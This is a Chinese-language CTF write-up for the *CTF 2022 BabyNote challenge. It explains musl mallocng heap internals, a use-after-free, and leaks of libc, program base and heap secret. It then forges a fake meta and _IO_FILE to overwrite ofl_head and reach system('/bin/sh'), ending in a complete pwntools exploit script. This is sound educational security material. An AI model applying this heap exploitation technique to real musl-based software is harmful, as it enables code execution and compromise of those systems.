*CTF 2022 Pwn 题目 BabyNote Writeup
0. 前言
上周打了一下 *CTF 2022,做了一道 musl libc 1.2.2 (mallocng) 堆题 BabyNote,十分幸运地拿到了二血(一血是 AAA 战队的师傅)。笔者已经有一段时间没有做过 mallocng 堆题了。
这道题一共有 17 支队伍解出,相比以前同类型题目只有数个解,可以看出国内 CTF 战队对 mallocng 堆题的掌握水平在逐步提高。当然这也跟题目难度有关。
做题的时候用上了前一阵子编写的 muslheap 插件,效果感觉还不错。特别是可以解析 meta 之类的结构,构造 payload 的时候方便了许多。只是有时出现一些奇怪 BUG。。。
突然想起自己以前挖了 mallocng 详解系列的大坑,还缺 malloc / free 实现和漏洞利用的部分。这篇 Writeup 会涉及这些未发布章节的部分内容。
1. 题目分析
题目 libc 环境是 musl libc 1.2.2:
经典的堆菜单题,有add
、find
、delete
和forget
四个功能。
add
功能可以往HEAD
(0X4010
)单向链表添加 note。
find
可以根据name
从链表查找 note 并打印note->ctx_ptr
。forget
将HEAD
置为 0。
note 结构如下:
漏洞位于delete
功能,作用是释放 note。若 note 位于链表末尾,链表中的 note 指针不会被清空,存在 UAF 漏洞。
2. 漏洞利用
2.1 利用思路
通过 UAF 可以完全控制某个 note 的 note
,能够泄漏地址和修改指针。
分配一个content
长度为 0x28 的 note UAF 到链表末尾, 然后释放它。
add("UAF", "A"*0x28) # UAF 位于链表末尾
[add 一系列 NOTE...]
delete("UAF")
通过堆风水将 UAF note->ctx_ptr
所在堆块分配给某个 note 的 note
上,打印 UAF 的 content 就能泄漏 note
的内容。
[堆风水...]
add("X", "X") # X `note` == UAF `note->ctx_ptr`
find("UAF") # 泄漏 X `note` 上的`note->name_ptr`、`note->ctx_ptr` 等地址
或者将 UAF note
堆块分配给某个 note 的 note->ctx_ptr
,通过这个 note 可以修改 UAF note
。
[堆风水...]
payload = XXXXX
add("X", payload) # X `note->ctx_ptr` == UAF `note`
2.2. musl libc 1.2.2 堆管理器(mallocng)分析
mallocng 是 musl libc 1.2.2 开始采用的新型堆管理器。基本概念和结构可以参考笔者编写的 mallocng 详解 (Part I),这里不再重复阐述。
1. 堆块使用状态
mallocng 分配的堆块(slot)是从某个大内存块 group 切割出来的小内存块,每个 group 由对应的 meta 管理。
struct meta
结构如下:
struct meta {
struct meta *prev, *next;
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};
avail_mask
和 freed_mask
字段标识每个 slot 的使用情况,每一比特代表对应 index 的 slot。若avail_mask
对应比特为 1,代表该 slot 可以分配出去。若freed_mask
对应比特为 1,代表该 slot 已释放。
last_idx
字段是最大的合法 slot index,last_idx+1
就是 group 的 slot 个数。
以上图为例,该 meta 对应的 group 一共有 10 个 slot,其中 0 号 slot 已被释放,1 ~ 2 号 slot 使用中,其余 slot 可供分配。
2. 堆块分配方式
__malloc_context->active
双向链表数组链接了 mallocng 中所有存在未分配(可分配和已释放)slot 的 meta,同一个链表上的 slot 大小(stride)都是一样的,其数组下标称为 sizeclass。
malloc()
的主要工作是从 active
链表查找可用 slot 分配给用户,(如有必要的话)创建新的 group 并将 meta 插入到链表、从链表移除无用 meta。calloc()
内部也调用了malloc()
。
(mallocng 源码写得比较粗糙,难以理解部分较多,下列流程仅供参考)
malloc()
分配堆块的大致流程如下:
- 若 size 超过
0x1fff0
,则单独 mmap 一块内存分配给用户 - 否则,将 size 转换成对应的 sizeclass
sc
(通过size_to_class
函数) - 获得
active
链表头指针ctx.active[sc]
指向的 metag
- (这里省略中间一段调整 sizeclass 的步骤)
- 若
g
不为 NULL 且存在可分配的 slot(即avail_mask
非零)- 根据
g->avail_mask
,将 index 最小的可用 slot 分配给用户
- 根据
- 否则,调用
alloc_slot()
:- 若
g
为 NULL:(*)- 调用
alloc_group()
分配新的 group - 将新 group 的 meta 加入
active
链表,返回 0(即第一个 slot 的 index)
- 调用
- 若
g
不为 NULL 且不存在可分配 slot(即avail_mask
为零),调用try_avail()
:- 若
g
的freed_mask
亦为零(表明所有 slot 使用中),将g
移出active
链表。- 移除后,若
active
链表为空,退出try_avail()
,进行当g
为 NULL 的步骤(*)
- 移除后,若
- 令
m = g->next
,即g
的下一个 meta- 若
active
链表只有g
,则m
等于g
(active
是循环链表)
- 若
- 将
active
链表头指针指向m
(*pm = m
)pm
是active
链表的指针(即&ctx.active[sc]
)- 若
active
链表只有g
,则头指针不变
- 跳过符合以下条件的
m
(m = m->next; *pm = m
):mask == (2u<<m->last_idx)-1 && m->freeable
!(mask & ((2u<<m->mem->active_idx)-1) & (m->next != m)
- 设置
m->avail_mask
和m->freed_mask
,将所有的已释放 slot 标记为可分配 - 找出 index 最小的可分配 slot,让
alloc_slot()
返回这个 index
- 若
- 若
- 更新
g
,将alloc_slot()
返回 index 对应的 slot 分配给用户
2.3. 信息泄漏
从上节可以了解到 mallocng slot 分配规则:
- 已释放 slot 不会马上重用,直到
active[sc]
当前指向的 metag
没有可分配 slot - 如果
g
没有可分配 slot,mallocng 将active[sc]
指向g->next
,将g->next
已释放 slot 设置为可分配,然后从g->next
分配 slot 给用户 - 接上一条,如果
g
连已释放 slot 都没有(所有 slot 已被占用),mallocng 还会将g
移出active
链表
实现信息泄漏,需要布置好如下的堆布局:
+-----------> UAF `note->ctx_ptr` 已释放,其余所有 slot 已分配
| +-----> UAF `note` 已释放,其余所有 slot 已分配
| |
active[2] : M2 -> M1 -> M0
|
+-----------------> 所有 slot 已分配
size=0x28
的 sizeclass 是 2。active[2]
有三个 meta,UAF 的 note
、note->ctx_ptr
处于释放状态且分别位于M0
、M1
中。除了 UAF 的两个 slot 之外,其余 slot 处于已分配状态。
注意一开始active[2]
链表是空的。此时 mallocng 创建一个 slot 个数为 10 的 group(meta 为 M0
),将MO
加入到active[2]
。后面可以发现,新创建 group 的 slot 个数都是 10。
STEP 1:首先从M0
分配 9 个 0x28
slot,然后使用 forget 功能将HEAD
链表置零。
for i in range(10-1):
add('M0', 'M0')
forget()
#
# active[2] : M0
#
STEP 2:创建 UAF note,content 长度为 0x28。这里需要分配两个 0x28 堆块。
第一个0x28
堆块(note
)是 M0
最后一个可用 slot。分配之后,M0
上面的所有 slot 已经被占用。
分配第二个0x28
堆块(note->ctx_ptr
)时,mallocng 从active[2]
移除MO
,创建新 group(meta 为 M1
)加入到active[2]
,然后从M1
分配 slot。
add("UAF", 'A'*0x28)
#
# active[2] : M1
#
STEP 3:分配 9+10 个0x28
slot。
分配到第 10 个 slot 时,M1
没有可分配的 slot。mallocng 移除M1
并加入新的 group (meta 为M2
)到active[2]
。
分配完 19 个 slot 之后,M0
、M1
和M2
的所有 slot 都处于已分配状态 。
for i in range(10-1+10):
add('M1', 'M1')
for i in range(10):
add('M2', 'M2')
#
# active[2] : M2
#
STEP 4:释放 UAF note。
mallocng 将 UAF note 的note->ctx_ptr
、note
所在 slot 的 meta M1
和M0
插入到active[2]
链表末尾。
因为 UAF 是链表最后一个 note,程序没有清空 HEAD
中的 UAF note 指针,创造 UAF 利用条件。
至此,堆布局已构造完成。
delete("UAF")
#
# active[2] : M2 -> M1 -> M0
#
STEP 5:创建 X note。
按照链表顺序,mallocng 首先访问M2
,发现M2
没有可用堆块后,移除M2
;然后访问M1
,发现M1
存在一个已释放的 slot(UAF note->ctx_ptr
),mallocng 将其设置为可分配,然后分配给 X note 作为 note
对象。
add('X', 'X')
#
# active[2] : M1 -> M0
#
最后,利用 find 功能打印 UAF note->ctx_ptr
泄漏 X note
的内容:
find("UAF")
# 0x28:20ecfff7ff7f000030ecfff7ff7f000001000000000000000100000000000000008a555555550000
这里可以泄漏 libc 地址和程序基地址,因为 mallocng 初始 group 位于 libc 和程序的未使用可读写内存段。
接下来是泄漏__malloc_context->secret
。这是一个位于 libc.so BSS 段的 8 字节随机数,后面的漏洞利用需要使用到这个值。
find 功能可以分配任意大小的堆块,向堆块写入数据。
此时,active[2]
链表只有一个可用 slot(即 UAF 的note
)。我们可以通过 find 功能分配到 UAF note
所在的 slot,然后将 note
上的 ctx_ptr
指针修改为__malloc_context->secret
地址。最后使用find("UAF")
打印 UAF note->ctx_ptr
指向的数据,泄漏 secret。
note = flat([UAF_name_addr, secret_addr, 3, 8, 0]) # UAF_name_addr 是字符串 "UAF" 的地址
find(note) # 改写 UAF 的 `note` 后,再次释放
#
# active[2] : M0
#
find("UAF")
# 0x8:69e4717a51dadd1f
因为 find 最后会释放分配到的堆块,我们接下来还能再次利用这个 UAF note
。
2.4. getshell
1. 伪造 _IO_FILE
劫持程序控制流
与 glibc 不同,musl libc 不存在 __free_hook
之类能够劫持程序控制流的 hook。
目前主流的 getshell 方法是利用 _IO_FILE
结构体,具体原理可以参考笔者写的另一篇文章。利用方法有两种:
- 直接修改
__stdout_FILE
等现有的_IO_FILE
结构体。触发途径有exit
函数和printf
、puts
等 IO 函数。 - 在堆上伪造一个
_IO_FILE
结构体,然后将地址写入到ofl_head
全局变量中。触发途径只有exit
函数。
本文将利用第二种方法进行 get shell。
ofl_head
有点类似 glibc 中的 _IO_list_all
,它是一个_IO_FILE
链表的头指针,链接了所有 musl libc 未关闭_IO_FILE
结构体对象(除stdin/stdout/stderr
之外)。
若ofl_head
不为 NULL,__stdio_exit
函数会遍历整个链表,逐一调用close_file
关闭每个_IO_FILE
结构体,效果跟第一种方法一样。
// src/stdio/__stdio_exit.c:16
void __stdio_exit(void)
{
FILE *f;
for (f=*__ofl_lock(); f; f=f->next) close_file(f); <----------
close_file(__stdin_used);
close_file(__stdout_used);
close_file(__stderr_used);
}
2. 伪造 meta 实现任意地址写
由于程序没有提供 edit 功能,即使可以控制 UAF note
,还是不能实现任意地址写、修改ofl_head
全局变量来 getshell。
musl libc 中,我们可以通过伪造 meta 来实现任意地址写。通过修改 UAF note
,我们能够调用 free()
释放任意指针。
首先在堆上伪造一个 slot 和对应的 meta,然后使用free()
释放 fake slot,利用 free()
处理 fake meta 的过程实现直接或间接任意地址写。
free()
释放 slot 时,最后调用一个名为nontrivial_free
的函数,决定如何处置 slot 对应的 group 和 meta。依照 meta 的各种字段,有以下三种处理结果:
- 什么也不做。
- queue:将 meta 插入对应的
active
链表。 - dequeue:从对应的
active
链表移除 meta,然后释放 group。
// src/malloc/mallocng/free.c:101
void free(void *p)
{
if (!p) return;
struct meta *g = get_meta(p);
int idx = get_slot_index(p);
[...]
wrlock();
struct mapinfo mi = nontrivial_free(g, idx); <------------
unlock();
if (mi.len) munmap(mi.base, mi.len);
}
// src/malloc/mallocng/free.c:72
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { <--- dequeue 部分
[...]
} else if (!mask) { <--- queue 部分
[...]
} <--- 什么都不做部分
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}
queue 利用方法比较直接:将 fake meta 插入active
链表后,修改 fake meta 的 mem
指针,可以控制malloc()
分配任意内存地址。具体 EXP 可以参考笔者的两篇 Writeup:RCTF 2021 musl 和 warmnote。
本文主要利用 dequeue 进行任意地址写。检查dequeue
函数,可以发现解链时没有检查链表指针next
和prev
是否合法,类似旧版 glibc 的 unlink 宏。
// src/malloc/mallocng/free.c:72
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
[...]
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
[...]
dequeue(&ctx.active[sc], g); <---------------------
[...]
}
[...]
}
// src/malloc/mallocng/meta.h:90
static inline void dequeue(struct meta **phead, struct meta *m)
{
if (m->next != m) {
m->prev->next = m->next; <---------------------
m->next->prev = m->prev; <---------------------
if (*phead == m) *phead = m->next;
} else {
*phead = 0;
}
m->prev = m->next = 0;
}
只要将 fake_meta 的prev
指针设为&ofl_head-8
、next
指针设为 fake _IO_FILE
结构体地址,dequeue
时就会:*ofl_head = fake_file_addr; *fake_file_addr = &ofl_head-8
。
3. 前置条件
首先需要控制一段首地址低 12bit 为零的内存(例如0x7ffff7f3e000
)。
通过mheapinfo
命令可以发现active
链表最大的 slot 只有 0x7f0
。若需要分配大小超过最大可用大小,mallocng 通过 mmap 创建新的 group 分配给用户。
因此请求大小超过0x1000
的堆块就能分配到连续两个内存页的 slot,将 fake slot 布置到第二个内存页上即可(如下图的0x7ffff7f3e000
)。
然后需要泄漏 fake slot 地址和__malloc_context->secret
。mmap 内存到 libc 的偏移一般是固定的。
最后要求可以调用 free()
释放 fake slot。也可以修改现有 slot 的 in-band meta 指向 fake meta。
4. 构造 fake slot
The overview layout of fake slot (dequeue)
addr = 0x7ffff7f3e000 (Require: addr & 0xFFF == 0)
+0x0 +-+-+-+-+-+-+-+-+-+-+-+-+ <-------------------------+
| 0x1fddda517a71e469 | [check] | meta_arena (Partial)
+0x8 +> +-+-+-+-+-+-+-+-+-+-+-+-+ <-------------------------+
| | &ofl_head-8 | [prev] |
| +-+-+-+-+-+-+-+-+-+-+-+-+ |
| | fake_file_addr | [next] |
| +-+-+-+-+-+-+-+-+-+-+-+-+ |
| | 0x7ffff7f3e030 |---+ [mem] | struct meta
| +-+-+-+-+-+-+-+-+-+-+-+-+ | |
| | 0 | | [*_mask] |
| +-+-+-+-+-+-+-+-+-+-+-+-+ | |
| | 0x1020 | | [freeable=1, maplen=1] |
+0x30 | +-+-+-+-+-+-+-+-+-+-+-+-+ <-+ <-------------------------+
+--| 0x7ffff7f3e008 | [meta] | struct group (Partial)
+0x38 +-+-+-+-+-+-+-+-+-+-+-+-+ <-------------------------+
| 0 | [R=0, I=O, OFF32=0] |
+0x40 +-+-+-+-+-+-+-+-+-+-+-+-+ <-------------------------+
| | <------------------------------+----------------------------------- [p] (+0x40)
+-+-+-+-+-+-+-+-+-+-+-+-+ |
. . |
. . |
. . | slot
. . |
. . |
. . |
+0x1028 +-+-+-+-+-+-+-+-+-+-+-+-+ |
| | | | 0| <-+ |
+-+-+-+-+-+-+ | <------------------------+
|
+---- [Overflow byte] (+0x102c = 0x40+0x1000-0x10-0x4)
free(p) --> *(uint64_t*)ofl_head = fake_file_addr
*(uint64_t*)fake_file_addr = &ofl_head-8
上图是 fake slot 的结构和说明。为了绕过 mallocng free()
一系列的检查,还需要伪造meta_arena
、meta
、group
这三个结构体。
下面是每个字段的构造思路,篇幅较长。没兴趣的话可以直接跳到下一节。
0x0:放置__malloc_context->secret
,伪造 meta_arena->check
。这个 secret 需要位于 fake meta 所在内存页的前 8 字节。绕过以下检查:
// src/malloc/mallocng/meta.h:129
static inline struct meta *get_meta(const unsigned char *p)
{
[...]
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
const struct meta *meta = base->meta;
[...]
const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
assert(area->check == ctx.secret); <------------------------------------
}
0x8-0x30:fake meta,这是本次漏洞利用最关键的部分。
meta 的结构如下:
struct meta {
struct meta *prev, *next;
struct group *mem;
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};
prev
和next
分别设为&ofl_head-8
和fake_file_addr
。mem
需要设为 fake group 的地址(偏移为 0x30
)。sizeclass
和last_idx
直接设为 0。
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { <------------------ dequeue 条件一和二
// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) { <------------------ dequeue 条件三(显然成立)
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
}
[...]
}
根据源码,如果让nontrivial_free()
进行 dequeue 操作,需要满足以下条件:
mask+self == (2u<<g->last_idx)-1
okay_to_free(g)
g->next != NULL
将avail_mask
、freed_mask
和 fake slot index 设置为 0
可以满足条件一。条件三显然成立。
将freeable
设置为1
可以满足第二个条件okay_to_free(g)
。
static int okay_to_free(struct meta *g)
{
int sc = g->sizeclass;
if (!g->freeable) return 0; <----------------- okay_to_free() 条件一
// always free individual mmaps not suitable for reuse
if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
return 1;
// always free groups allocated inside another group's slot
// since recreating them should not be expensive and they
// might be blocking freeing of a much larger group.
if (!g->maplen) return 1;
// if there is another non-full group, free this one to
// consolidate future allocations, reduce fragmentation.
if (g->next != g) return 1; <----------------- okay_to_free() 条件二(显然成立)
[...]
}
最后,maplen
的值必须不等于0
(一般设为1
)。这是为了绕过 dequeue 时的free_group
操作。
nontrivial_free()
进行 dequeue 之后,最后调用free_group()
来释放 group 所在的内存。
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
[...]
if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
[...]
return free_group(g); <------------------
}
[...]
}
static struct mapinfo free_group(struct meta *g)
{
struct mapinfo mi = { 0 };
int sc = g->sizeclass;
if (sc < 48) {
ctx.usage_by_class[sc] -= g->last_idx+1;
}
if (g->maplen) { <---------------- maplen != 0: 使用 munmap 释放
step_seq();
record_seq(sc);
mi.base = g->mem;
mi.len = g->maplen*4096UL;
} else { <---------------- maplen == 0: 使用 nontrivial_free 释放
void *p = g->mem;
struct meta *m = get_meta(p); // g->mem 不通过检查,free() 报错
int idx = get_slot_index(p);
g->mem->meta = 0;
// not checking size/reserved here; it's intentionally invalid
mi = nontrivial_free(m, idx);
}
free_meta(g);
return mi;
}
若 maplen
为 0
,表示当前 group 是某个大 group 的 slot。这时free_group()
调用get_meta()
检查 mem
,导致 free()
报错。
若 maplen
不为 0
,表示 group 是长度为maplen * 0x1000
的 mmap 内存,free()
调用munmap
释放。注意,这里即使munmap
失败,free()
也不会报错。
void free(void *p)
{
[...]
wrlock();
struct mapinfo mi = nontrivial_free(g, idx);
unlock();
if (mi.len) munmap(mi.base, mi.len); <---------- munmap 失败,但 free() 不报错
}
最终构建好的 fake_meta 如下:
# META_struct 代码见文末 EXP
fm = META_struct()
fm.prev = ofl_head_addr-8
fm.next = fake_file_addr
fm.mem = page_addr+0x30 # 0x7ffff7f3e000+0x30
fm.freeable = 1
fm.maplen = 1
# 其他字段均设置为 0
0x30:放置 fake meta 地址(偏移 0x8),伪造 group->meta
。
// src/malloc/mallocng/meta.h:17
struct group {
struct meta *meta; <-------------
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];
unsigned char storage[];
};
不用管其他字段,mallocng 不作检查。
0x38: fake slot,主要是伪造 in-band meta。直接放个p64(0)
就行了。
|----------------- in-band meta ------------------|
0 4 5 6 8 byte
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 0 | 0 | R | I | OFF |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
R : 第六个字节的前 3 个比特位
I : 第六个字节的后 5 个比特位
OFF: 第七个字节和第八个字节
I
(index)设为 0
,满足 dequeue 条件。R
(Reserved)设为0
,这个值会影响 Overflow byte 的位置。
OFF
是p
距离 &(group->meta)
(也就是 fake meta 地址)的相对距离,计算公式为p_meta = p - (OFF + 1) * 0x10
。当OFF
为 0
时,group
恰好位于 slot 上方(即偏移 0x30)。
OFF
也可以不为0
。常用于堆溢出修改 slot 的 in-band meta,将OFF
指向 fake_meta 指针。释放这个 slot 后,可以得到跟直接伪造 slot 相同的效果。
+-+-+-+-+-+-+-+-+-+-+-+-+ <-------------------------+
| 0x7ffff7f3e008 | <-+ [meta] | struct group (Partial)
+-+-+-+-+-+-+-+-+-+-+-+-+ | <-------------------------+
. . |
. . |
. . |
. . | 0x10*(OFF+1)
. . |
. . |
+-+-+-+-+-+-+-+-+-+-+-+-+ | <-------------------------+
| | OFF |---+ [in-band meta] |
+-+-+-+-+-+-+-+-+-+-+-+-+ <-------------------------+
| | <-------------------------------+---------------------- [p]
+-+-+-+-+-+-+-+-+-+-+-+-+ | slot
. . .
. . .
. . .
0x40:这是p
的偏移。触发 dequeue 漏洞的方式就是free(p)
。
0x102c:Overflow byte,这个位置要求是一个空字节NULL
。
绕过以下检查:
void free(void *p)
{
if (!p) return;
struct meta *g = get_meta(p);
int idx = get_slot_index(p);
size_t stride = get_stride(g);
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
get_nominal_size(p, end); <--------------
[...]
}
static inline size_t get_nominal_size(const unsigned char *p, const unsigned char *end)
{
size_t reserved = p[-3] >> 5; <------ 这个 reserved 就是 in-band meta 的 `R` 字段
if (reserved >= 5) {
assert(reserved == 5);
reserved = *(const uint32_t *)(end-4);
assert(reserved >= 5);
assert(!end[-5]);
}
assert(reserved <= end-p);
assert(!*(end-reserved)); <------- 检查 overflow byte。end-reserved 和 end 就是 +0x102c
// also check the slot's overflow byte
assert(!*end);
return end-reserved-p;
}
偏移值的计算过程:start+stride-IB = start+maplen*0x1000-UNIT-IB = 0x40+0x1000-0x10-0x4 = 0x102c
。
其中stride
是 slot 的长度,由于maplen
不为 0
,故等于maplen*0x1000-0x10
:
static inline size_t get_stride(const struct meta *g)
{
if (!g->last_idx && g->maplen) {
return g->maplen*4096UL - UNIT;
} else {
return UNIT*size_classes[g->sizeclass];
}
}
至此,fake slot 已经构建完成。通过mchunkinfo <p 的地址>
可以发现所有字段已通过 muslheap 的合法性检查(不通过的字段会用黄色标出),提示nontrivial_free
的处理结果是 dequeue。
5. 触发 dequeue
首先释放两个M1
的 slot,用于存放接下来创建的两个 note。
delete('M1')
delete('M1')
#
# active[2] : M0 -> M1
#
布置 fake slot。
fake_slot = flat({
0 : secret,
0x8 : bytes(fake_meta),
0x30 : page_addr+0x8,
0x38 : 0,
}, filler=b'\x00')
payload = (0xfe0 * b'\x00' + fake_slot).ljust(0x1200, b'\x00')
add('fake_slot', payload)
改写并释放 UAF note
,触发 dequeue 漏洞将 fake_file 地址写入 ofl_head
。
# 原来的 "UAF" 已释放,这里换成 "XXXX" 字符串作为 name
payload = flat([XXXX_name_addr, page_addr+0x40, 4, 8, 0])
# UAF_note 的`note->ctx` 分配到 UAF note 的 `note` 所在 slot
add("UAF_note", payload)
# 触发 dequeue
delete('XXXX')
最后布置 fake _IO_FILE
(由于 dequeue 会破坏 fake_file 上的数据,需要先 dequeue 后布置 fake _IO_FILE
)。
fake_file = flat({
0 : b"/bin/sh\x00",
0x28 : 0xdeadbeef,
0x38 : 0xcafebabe,
0x48 : system
}, filler=b'\x00')
add('fake_file', fake_file)
最后调用exit()
getshell:
3. EXP 脚本
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
class META_struct:
BIT_FIELD_BLEN = {
'last_idx' : 5,
'freeable' : 1,
'sizeclass' : 6,
'maplen' : 52,
}
FIELD_NAME = (
'prev',
'next',
'mem',
'avail_mask',
'freed_mask',
'last_idx',
'freeable',
'sizeclass',
'maplen'
)
def __init__(self):
self.__data = {}
for k in self.FIELD_NAME:
self.__data[k] = 0
def __setattr__(self, attr, vaule):
if attr in self.FIELD_NAME:
self.__data[attr] = vaule
else:
super().__setattr__(attr, vaule)
def __getattr__(self, attr):
if attr in self.FIELD_NAME:
return self.__data[attr]
else:
return super().__getattr__(attr)
def __bytes__(self):
payload = b''
for k in ('prev', 'next', 'mem'):
payload += p64(self.__data[k])
for k in ('avail_mask', 'freed_mask'):
payload += p32(self.__data[k])
bv = 0
bpos = 0
for k in ('last_idx', 'freeable', 'sizeclass', 'maplen'):
blen = self.BIT_FIELD_BLEN[k]
bv |= (self.__data[k] & ((1 << blen) - 1)) << bpos
bpos += blen
payload += p64(bv)
return payload
libc = ELF("./libc.so")
code = 0
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
libc_sym = lambda x : libc.symbols[x]
libc_symp = lambda x : p64(libc.symbols[x])
libc_os = lambda x : libc.address + x
code_os = lambda x : code + x
# ~ remote("123.60.76.240:60001")
p = process("./babynote")
def add(name, note):
p_sl(1, "option:")
p_sl(len(name), "name size:")
p_s(name, "name:")
p_sl(len(note), "note size:")
p_s(note, "note content:")
def delete(name):
p_sl(3, "option:")
p_sl(len(name), "name size:")
p_s(name, "name:")
def find(name):
p_sl(2, "option:")
p_sl(len(name), "name size:")
p_s(name, "name:")
def forget():
p_sl(4, "option:")
def unhex(a):
addr = b''
for i in range(8):
addr = a[i*2:i*2+2] + addr
return int(addr, 16)
## 1. fengshui
for i in range(10-1):
add('M0', 'M0')
forget()
add("UAF", 'A'*0x28)
for i in range(10-1):
add('M1', 'M1')
for i in range(10):
add('M2', 'M2')
delete("UAF")
## 2. leak libcbase, codebase
add('X', 'XXXX')
find("UAF")
p.recvuntil("0x28:")
x = p.recv(0x28*2)
libc.address = unhex(x[:8*2]) - 0xb7c20
info("libcbase: 0x%lx", libc.address)
code = unhex(x[-8*2:]) - 0x4a00
info("codebase: 0x%lx", code)
## 3. leak secret
UAF_name_addr = code_os(0x4d60)
secret_addr = libc_os(0xb4ac0)
note = flat([UAF_name_addr, secret_addr, 3, 8, 0])
find(note)
find('UAF')
p.recvuntil("0x8:")
secret = unhex(p.recv(16))
info("secret: 0x%lx", secret)
## 4. prepare for exploit
delete('M1')
delete('M1')
## 5. construct fake slot
page_addr = libc_os(-0x9000) + 0x6000
# ~ page_addr = libc_os(-0x9000) # no ASLR
fake_file_addr = code_os(0x4a40)
ofl_head_addr = libc_os(0xb6e48)
fm = META_struct()
fm.prev = ofl_head_addr-8
fm.next = fake_file_addr
fm.mem = page_addr+0x30
fm.freeable = 1
fm.maplen = 1
fake_slot = flat({
0 : secret,
0x8 : bytes(fm),
0x30 : page_addr+0x8,
0x38 : 0,
}, filler=b'\x00')
payload = (0xfe0 * b'\x00' + fake_slot).ljust(0x1200, b'\x00')
add('fake_slot', payload)
## 6. trigger dequeue
XXXX_name_addr = libc_os(0xb7c30)
payload = flat([XXXX_name_addr, page_addr+0x40, 4, 8, 0])
add("UAF_note", payload)
delete('XXXX')
## 7. construct fake _IO_FILE
system = libc_sym('system')
fake_file = flat({
0 : b"/bin/sh\x00",
0x28 : 0xdeadbeef,
0x38 : 0xcafebabe,
0x48 : system
}, filler=b'\x00')
add('fake_file', fake_file)
## 8. getshell
p.sendline("5")
p.interactive()
Comments